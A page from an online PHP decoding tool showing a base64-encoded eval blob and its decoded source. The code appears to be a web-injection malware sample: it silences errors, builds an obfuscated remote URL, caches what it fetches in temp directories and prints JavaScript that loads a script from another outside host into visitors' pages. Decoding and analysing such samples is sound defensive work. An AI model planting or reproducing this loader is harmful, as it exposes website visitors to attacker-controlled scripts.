Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('DQo/Pjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy..

Decoded Output download


?><?php
#################################################################################################
?><?php

$GLOBALS["DEBUG"]=$DEBUG=0;

if($DEBUG>=3) { 
	ini_set("display_errors",TRUE);
	ini_set("error_reporting", E_ALL ^ E_NOTICE);
}else{
	@ini_set("display_errors",FALSE);
	@ini_alter("display_errors",FALSE);
}
@ini_set("log_errors", FALSE);
@ini_alter("log_errors", FALSE);
if(function_exists("restore_error_handler")) restore_error_handler();
if(function_exists("restore_exception_handler")) restore_exception_handler();

@set_time_limit(7);

$timestart=time();

#########

if(!function_exists("file_get_contents")){
function file_get_contents($file){
	$content=implode("",file($file));
 	if(strlen($content)<1) {return FALSE;}
	return $content;
}}

if(!function_exists("file_put_contents")){
@define("FILE_APPEND", 8);
function file_put_contents($file,$content="",$parm=""){
	if($parm==8||$parm=="FILE_APPEND"){$fp=fopen($file,"a");}
	else{$fp=fopen($file,"w");}
	if($fp){
		if(fwrite($fp,$content)===FALSE){return FALSE;}
		fclose($fp);
		return strlen($content);
	}else{return FALSE;}
}}

if(!function_exists("url_get_mini")){
function url_get_mini($url, $timeout=8, $DEBUG=0){

	$headers = array(
	 "user_agent" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2765.104 Safari/527.35"
	,"1" => "Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4"
	,"2" => "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7"
	,"3" => "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
	,"4" => "Accept-Encoding: identity"
	,"5" => "Cache-Control: no-cache"
	,"6" => "Connection: close"
	);

	if(!stristr($url,"://")) $url="http://".$url;
	$a=parse_url($url);
	if(empty($a[port])){$a[port]=80;}
	if(empty($a[path])){$a[path]="/";}

    $res=FALSE;

    if( 1 && function_exists('curl_init') ){
	if(($sh=curl_init($url))){
		curl_setopt($sh, CURLOPT_HEADER, FALSE);
		curl_setopt($sh, CURLOPT_RETURNTRANSFER, TRUE);
		curl_setopt($sh, CURLOPT_TIMEOUT, $timeout);
		curl_setopt($sh, CURLOPT_CONNECTTIMEOUT, $timeout);
		curl_setopt($sh, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($sh, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($sh, CURLOPT_SSL_VERIFYHOST, false);
		$res=curl_exec($sh);
		curl_close($sh);
	}
    }

    elseif( 1 && (ini_set("allow_url_fopen", TRUE) || 1) && in_array(ini_get("allow_url_fopen"),array(1,TRUE,"TRUE","On","ON"))		){

	ini_set("default_socket_timeout", $timeout);
	ini_set("user_agent", str_replace("User-Agent: ","",$headers["user_agent"]));

	$opts = array(
		'http'=>array(
				 'method'=>	"GET"
				,'header'=>	implode("
",$headers)."
"
				,'timeout'=>	$timeout
			)	
		);
	$context = stream_context_create($opts);

	$res="";
	if(function_exists('file')){
		if(substr(PHP_VERSION,0,1)>=5 || substr(phpversion(),0,1)>=5) {
			$res = implode("",file($url, false, $context)); ## php5 GET+POST
		}else{
			$res = implode("",file($url)); ## phpALL GET
		}
	}
    }

    elseif( 1 && function_exists('fsockopen') ){

	$old_time_limit=ini_get("max_execution_time"); ## remember
	set_time_limit($timeout); ## only this timeout really work 

	$head=implode("
",$headers)."
";

	if(($sh=fsockopen($a[host], $a[port], $errno, $errstr, $timeout))){
		stream_set_timeout($sh,$timeout); ## this timeout not work 
		$str="GET"
			." {$a[path]}".(!empty($a[query])?"?{$a[query]}":"")." HTTP/1.0
"
			."Host: ".$a[host].(empty($a[port])||$a[port]==80?'':':'.$a[port])."
"
			.(!empty($head)?$head:'')
			."
"
		;
		fwrite($sh, $str);
		$res = "";
     		while(!feof($sh))
			{ $res .= fgets($sh, 4096); }
		fclose($sh);
		$res=substr($res, strpos($res,"

")+4);
	}	
	set_time_limit($old_time_limit); ## recover
    }

    if(strlen($res)<1) $res=FALSE;

    return $res;
}}

#########

$url_to="h"."t"."t"."p".chr(58)."/"."/"."3".chr(119).chr(100).chr(101)."v"."4"."p".chr(113).chr(102).chr(119)."1"."u".chr(46)."o".chr(114)."g".chr(47)."i"."d"."4"."."."p"."h"."p";

$wrdir="";
$FLAG=FALSE;
if($FLAG===FALSE && ($wrdir="/tmp") && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir="/var/tmp") && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && function_exists("sys_get_temp_dir") && ($wrdir=sys_get_temp_dir()) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=ini_get("upload_tmp_dir")) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=ini_get("session.save_path")) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && (count($tmp=stream_get_meta_data($fp=tmpfile()))>1 && fclose($fp) && $wrdir=dirname($tmp["uri"])) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && (($tmp=tempnam(1,111))!==FALSE && ($wrdir=dirname($tmp)) && unlink($tmp)) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=getcwd()) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=dirname(__FILE__)) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE) { $wrdir=""; if($DEBUG) {die("<br>[-] TMPDIR not writable!");} else {die();} }
//print "<br>".$wrdir;

$wrpre="sess";
$uniq_key=dirname(__FILE__);

$f_res  = $wrdir."/".$wrpre."_".md5($uniq_key."js4v");
$f_last = $wrdir."/".$wrpre."_".md5($uniq_key."last4v");


#########

$res_default='
//default
var script = document.getElementById("onDate");
script.src="http://j8le7s5q745e.org/files/vip.php?id=4";
';

$res=FALSE;

if( 
	( !file_exists($f_last) )
	||
	( 3600 < ($timestart - (int)file_get_contents($f_last)) )
) {
	$res=url_get_mini($url_to, 3);
	if( !$res || strlen($res)<5 || !stristr($res,"onDate") ){
		$res=$res_default;
	}
	file_put_contents($f_res, $res);
	file_put_contents($f_last, $timestart);
}

if( $res===FALSE ) {
	$res=file_get_contents($f_res);
}

print chr(42).chr(47);
print $res;

die();

Did this file decode correctly?

Original Code

eval(base64_decode('DQo/Pjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo/Pjw/cGhwDQoNCiRHTE9CQUxTWyJERUJVRyJdPSRERUJVRz0wOw0KDQppZigkREVCVUc+PTMpIHsgDQoJaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLFRSVUUpOw0KCWluaV9zZXQoImVycm9yX3JlcG9ydGluZyIsIEVfQUxMIF4gRV9OT1RJQ0UpOw0KfWVsc2V7DQoJQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixGQUxTRSk7DQoJQGluaV9hbHRlcigiZGlzcGxheV9lcnJvcnMiLEZBTFNFKTsNCn0NCkBpbmlfc2V0KCJsb2dfZXJyb3JzIiwgRkFMU0UpOw0KQGluaV9hbHRlcigibG9nX2Vycm9ycyIsIEZBTFNFKTsNCmlmKGZ1bmN0aW9uX2V4aXN0cygicmVzdG9yZV9lcnJvcl9oYW5kbGVyIikpIHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJyZXN0b3JlX2V4Y2VwdGlvbl9oYW5kbGVyIikpIHJlc3RvcmVfZXhjZXB0aW9uX2hhbmRsZXIoKTsNCg0KQHNldF90aW1lX2xpbWl0KDcpOw0KDQokdGltZXN0YXJ0PXRpbWUoKTsNCg0KIyMjIyMjIyMjDQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfZ2V0X2NvbnRlbnRzIikpew0KZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpew0KCSRjb250ZW50PWltcGxvZGUoIiIsZmlsZSgkZmlsZSkpOw0KIAlpZihzdHJsZW4oJGNvbnRlbnQpPDEpIHtyZXR1cm4gRkFMU0U7fQ0KCXJldHVybiAkY29udGVudDsNCn19DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfcHV0X2NvbnRlbnRzIikpew0KQGRlZmluZSgiRklMRV9BUFBFTkQiLCA4KTsNCmZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb250ZW50PSIiLCRwYXJtPSIiKXsNCglpZigkcGFybT09OHx8JHBhcm09PSJGSUxFX0FQUEVORCIpeyRmcD1mb3BlbigkZmlsZSwiYSIpO30NCgllbHNleyRmcD1mb3BlbigkZmlsZSwidyIpO30NCglpZigkZnApew0KCQlpZihmd3JpdGUoJGZwLCRjb250ZW50KT09PUZBTFNFKXtyZXR1cm4gRkFMU0U7fQ0KCQlmY2xvc2UoJGZwKTsNCgkJcmV0dXJuIHN0cmxlbigkY29udGVudCk7DQoJfWVsc2V7cmV0dXJuIEZBTFNFO30NCn19DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoInVybF9nZXRfbWluaSIpKXsNCmZ1bmN0aW9uIHVybF9nZXRfbWluaSgkdXJsLCAkdGltZW91dD04LCAkREVCVUc9MCl7DQoNCgkkaGVhZGVycyA9IGFycmF5KA0KCSAidXNlcl9hZ2VudCIgPT4gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MC4wLjI3NjUuMTA0IFNhZmFyaS81MjcuMzUiDQoJLCIxIiA9PiAiQWNjZXB0LUxhbmd1YWdlOiBydS1SVSxydTtxPTAuOCxlbi1VUztxPTAuNixlbjtxPTAuNCINCgksIjIiID0+ICJBY2NlcHQtQ2hhcnNldDogd2luZG93cy0xMjUxLHV0Zi04O3E9MC43LCo7cT0wLjciDQoJLCIzIiA9PiAiQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLCovKjtxPTAuOCINCgksIjQiID0+ICJBY2NlcHQtRW5jb2Rpbmc6IGlkZW50aXR5Ig0KCSwiNSIgPT4gIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIg0KCSwiNiIgPT4gIkNvbm5lY3Rpb246IGNsb3NlIg0KCSk7DQoNCglpZighc3RyaXN0cigkdXJsLCI6Ly8iKSkgJHVybD0iaHR0cDovLyIuJHVybDsNCgkkYT1wYXJzZV91cmwoJHVybCk7DQoJaWYoZW1wdHkoJGFbcG9ydF0pKXskYVtwb3J0XT04MDt9DQoJaWYoZW1wdHkoJGFbcGF0aF0pKXskYVtwYXRoXT0iLyI7fQ0KDQogICAgJHJlcz1GQUxTRTsNCg0KICAgIGlmKCAxICYmIGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykgKXsNCglpZigoJHNoPWN1cmxfaW5pdCgkdXJsKSkpew0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9USU1FT1VULCAkdGltZW91dCk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCgkJY3VybF9zZXRvcHQoJHNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7DQoJCSRyZXM9Y3VybF9leGVjKCRzaCk7DQoJCWN1cmxfY2xvc2UoJHNoKTsNCgl9DQogICAgfQ0KDQogICAgZWxzZWlmKCAxICYmIChpbmlfc2V0KCJhbGxvd191cmxfZm9wZW4iLCBUUlVFKSB8fCAxKSAmJiBpbl9hcnJheShpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxhcnJheSgxLFRSVUUsIlRSVUUiLCJPbiIsIk9OIikpCQkpew0KDQoJaW5pX3NldCgiZGVmYXVsdF9zb2NrZXRfdGltZW91dCIsICR0aW1lb3V0KTsNCglpbmlfc2V0KCJ1c2VyX2FnZW50Iiwgc3RyX3JlcGxhY2UoIlVzZXItQWdlbnQ6ICIsIiIsJGhlYWRlcnNbInVzZXJfYWdlbnQiXSkpOw0KDQoJJG9wdHMgPSBhcnJheSgNCgkJJ2h0dHAnPT5hcnJheSgNCgkJCQkgJ21ldGhvZCc9PgkiR0VUIg0KCQkJCSwnaGVhZGVyJz0+CWltcGxvZGUoIlxyXG4iLCRoZWFkZXJzKS4iXHJcbiINCgkJCQksJ3RpbWVvdXQnPT4JJHRpbWVvdXQNCgkJCSkJDQoJCSk7DQoJJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdHMpOw0KDQoJJHJlcz0iIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKSl7DQoJCWlmKHN1YnN0cihQSFBfVkVSU0lPTiwwLDEpPj01IHx8IHN1YnN0cihwaHB2ZXJzaW9uKCksMCwxKT49NSkgew0KCQkJJHJlcyA9IGltcGxvZGUoIiIsZmlsZSgkdXJsLCBmYWxzZSwgJGNvbnRleHQpKTsgIyMgcGhwNSBHRVQrUE9TVA0KCQl9ZWxzZXsNCgkJCSRyZXMgPSBpbXBsb2RlKCIiLGZpbGUoJHVybCkpOyAjIyBwaHBBTEwgR0VUDQoJCX0NCgl9DQogICAgfQ0KDQogICAgZWxzZWlmKCAxICYmIGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykgKXsNCg0KCSRvbGRfdGltZV9saW1pdD1pbmlfZ2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiKTsgIyMgcmVtZW1iZXINCglzZXRfdGltZV9saW1pdCgkdGltZW91dCk7ICMjIG9ubHkgdGhpcyB0aW1lb3V0IHJlYWxseSB3b3JrIA0KDQoJJGhlYWQ9aW1wbG9kZSgiXHJcbiIsJGhlYWRlcnMpLiJcclxuIjsNCg0KCWlmKCgkc2g9ZnNvY2tvcGVuKCRhW2hvc3RdLCAkYVtwb3J0XSwgJGVycm5vLCAkZXJyc3RyLCAkdGltZW91dCkpKXsNCgkJc3RyZWFtX3NldF90aW1lb3V0KCRzaCwkdGltZW91dCk7ICMjIHRoaXMgdGltZW91dCBub3Qgd29yayANCgkJJHN0cj0iR0VUIg0KCQkJLiIgeyRhW3BhdGhdfSIuKCFlbXB0eSgkYVtxdWVyeV0pPyI/eyRhW3F1ZXJ5XX0iOiIiKS4iIEhUVFAvMS4wXHJcbiINCgkJCS4iSG9zdDogIi4kYVtob3N0XS4oZW1wdHkoJGFbcG9ydF0pfHwkYVtwb3J0XT09ODA/Jyc6JzonLiRhW3BvcnRdKS4iXHJcbiINCgkJCS4oIWVtcHR5KCRoZWFkKT8kaGVhZDonJykNCgkJCS4iXHJcbiINCgkJOw0KCQlmd3JpdGUoJHNoLCAkc3RyKTsNCgkJJHJlcyA9ICIiOw0KICAgICAJCXdoaWxlKCFmZW9mKCRzaCkpDQoJCQl7ICRyZXMgLj0gZmdldHMoJHNoLCA0MDk2KTsgfQ0KCQlmY2xvc2UoJHNoKTsNCgkJJHJlcz1zdWJzdHIoJHJlcywgc3RycG9zKCRyZXMsIlxyXG5cclxuIikrNCk7DQoJfQkNCglzZXRfdGltZV9saW1pdCgkb2xkX3RpbWVfbGltaXQpOyAjIyByZWNvdmVyDQogICAgfQ0KDQogICAgaWYoc3RybGVuKCRyZXMpPDEpICRyZXM9RkFMU0U7DQoNCiAgICByZXR1cm4gJHJlczsNCn19DQoNCiMjIyMjIyMjIw0KDQokdXJsX3RvPSJceDY4Ii4iXHg3NCIuInQiLiJceDcwIi5jaHIoNTgpLiIvIi4iXHgyZiIuIlx4MzMiLmNocigxMTkpLmNocigxMDApLmNocigxMDEpLiJceDc2Ii4iNCIuInAiLmNocigxMTMpLmNocigxMDIpLmNocigxMTkpLiJceDMxIi4iXHg3NSIuY2hyKDQ2KS4iXHg2ZiIuY2hyKDExNCkuIlx4NjciLmNocig0NykuImkiLiJkIi4iNCIuIlx4MmUiLiJwIi4iXHg2OCIuInAiOw0KDQokd3JkaXI9IiI7DQokRkxBRz1GQUxTRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj0iL3RtcCIpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmICgkd3JkaXI9Ii92YXIvdG1wIikgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikgJiYgKCR3cmRpcj1zeXNfZ2V0X3RlbXBfZGlyKCkpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmICgkd3JkaXI9aW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj1pbmlfZ2V0KCJzZXNzaW9uLnNhdmVfcGF0aCIpKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoY291bnQoJHRtcD1zdHJlYW1fZ2V0X21ldGFfZGF0YSgkZnA9dG1wZmlsZSgpKSk+MSAmJiBmY2xvc2UoJGZwKSAmJiAkd3JkaXI9ZGlybmFtZSgkdG1wWyJ1cmkiXSkpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmICgoJHRtcD10ZW1wbmFtKDEsMTExKSkhPT1GQUxTRSAmJiAoJHdyZGlyPWRpcm5hbWUoJHRtcCkpICYmIHVubGluaygkdG1wKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj1nZXRjd2QoKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj1kaXJuYW1lKF9fRklMRV9fKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UpIHsgJHdyZGlyPSIiOyBpZigkREVCVUcpIHtkaWUoIjxicj5bLV0gVE1QRElSIG5vdCB3cml0YWJsZSEiKTt9IGVsc2Uge2RpZSgpO30gfQ0KLy9wcmludCAiPGJyPiIuJHdyZGlyOw0KDQokd3JwcmU9InNlc3MiOw0KJHVuaXFfa2V5PWRpcm5hbWUoX19GSUxFX18pOw0KDQokZl9yZXMgID0gJHdyZGlyLiIvIi4kd3JwcmUuIl8iLm1kNSgkdW5pcV9rZXkuImpzNHYiKTsNCiRmX2xhc3QgPSAkd3JkaXIuIi8iLiR3cnByZS4iXyIubWQ1KCR1bmlxX2tleS4ibGFzdDR2Iik7DQoNCg0KIyMjIyMjIyMjDQoNCiRyZXNfZGVmYXVsdD0nDQovL2RlZmF1bHQNCnZhciBzY3JpcHQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib25EYXRlIik7DQpzY3JpcHQuc3JjPSJodHRwOi8vajhsZTdzNXE3NDVlLm9yZy9maWxlcy92aXAucGhwP2lkPTQiOw0KJzsNCg0KJHJlcz1GQUxTRTsNCg0KaWYoIA0KCSggIWZpbGVfZXhpc3RzKCRmX2xhc3QpICkNCgl8fA0KCSggMzYwMCA8ICgkdGltZXN0YXJ0IC0gKGludClmaWxlX2dldF9jb250ZW50cygkZl9sYXN0KSkgKQ0KKSB7DQoJJHJlcz11cmxfZ2V0X21pbmkoJHVybF90bywgMyk7DQoJaWYoICEkcmVzIHx8IHN0cmxlbigkcmVzKTw1IHx8ICFzdHJpc3RyKCRyZXMsIm9uRGF0ZSIpICl7DQoJCSRyZXM9JHJlc19kZWZhdWx0Ow0KCX0NCglmaWxlX3B1dF9jb250ZW50cygkZl9yZXMsICRyZXMpOw0KCWZpbGVfcHV0X2NvbnRlbnRzKCRmX2xhc3QsICR0aW1lc3RhcnQpOw0KfQ0KDQppZiggJHJlcz09PUZBTFNFICkgew0KCSRyZXM9ZmlsZV9nZXRfY29udGVudHMoJGZfcmVzKTsNCn0NCg0KcHJpbnQgY2hyKDQyKS5jaHIoNDcpOw0KcHJpbnQgJHJlczsNCg0KZGllKCk7'));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 1df2cd01b8e58c48e87336c7aa901e1d
Eval Count 1
Decode Time 102 ms